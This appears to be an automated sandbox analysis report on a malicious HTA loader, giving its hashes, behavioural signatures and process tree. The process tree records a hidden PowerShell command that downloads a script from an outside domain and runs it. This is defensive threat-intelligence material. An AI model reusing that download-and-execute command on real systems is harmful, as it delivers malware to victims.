Analysis
- user interaction
yes - max time kernel
58s - max time network
46s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
02/06/2026, 14:19
Static task
static1
Behavioral task
behavioral1
Sample
loader.hta
Resource
win10v2004-20260513-en
11 signatures
150 seconds
General
- Target loader.hta
- Size 1KB
- Sample260602-rm76hsfv3t
- SHA256 87e1bce01e080546614155992f342a06a75469c416a46f9b312f209c58d84493
- MD5 02e478df3bf6324c78c24dd744001e2a
- SHA1 972be0db34c91c4ebf0adc5c8871b0d19f488a12
- SHA512 44964dbebd9f476df19f8d8388fa9a429cee4856bf7989bd1d5707a0f9ed8c527873102e80265cae47974a4635206aba760791dd98acf42c47a6a2912fc079aa
- TLSH T123214F80253EFBEE024E9582D85C5C18BCDA467F234C56133DCD282E6F80738820A26A
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://lincdiiin.com/homework.txt
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 1516 powershell.exe 3 1516 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1516 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1516 powershell.exe 1516 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1516 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 1556 wrote to memory of 1516 1556 mshta.exe 83
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\loader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -W Hidden -Command "& { $f='C:\Users\Admin\AppData\Local\Temp\stage.ps1'; (New-Object Net.WebClient).DownloadFile('https://lincdiiin.com/homework.txt', $f); & $f }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orfr2erj.pfj.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH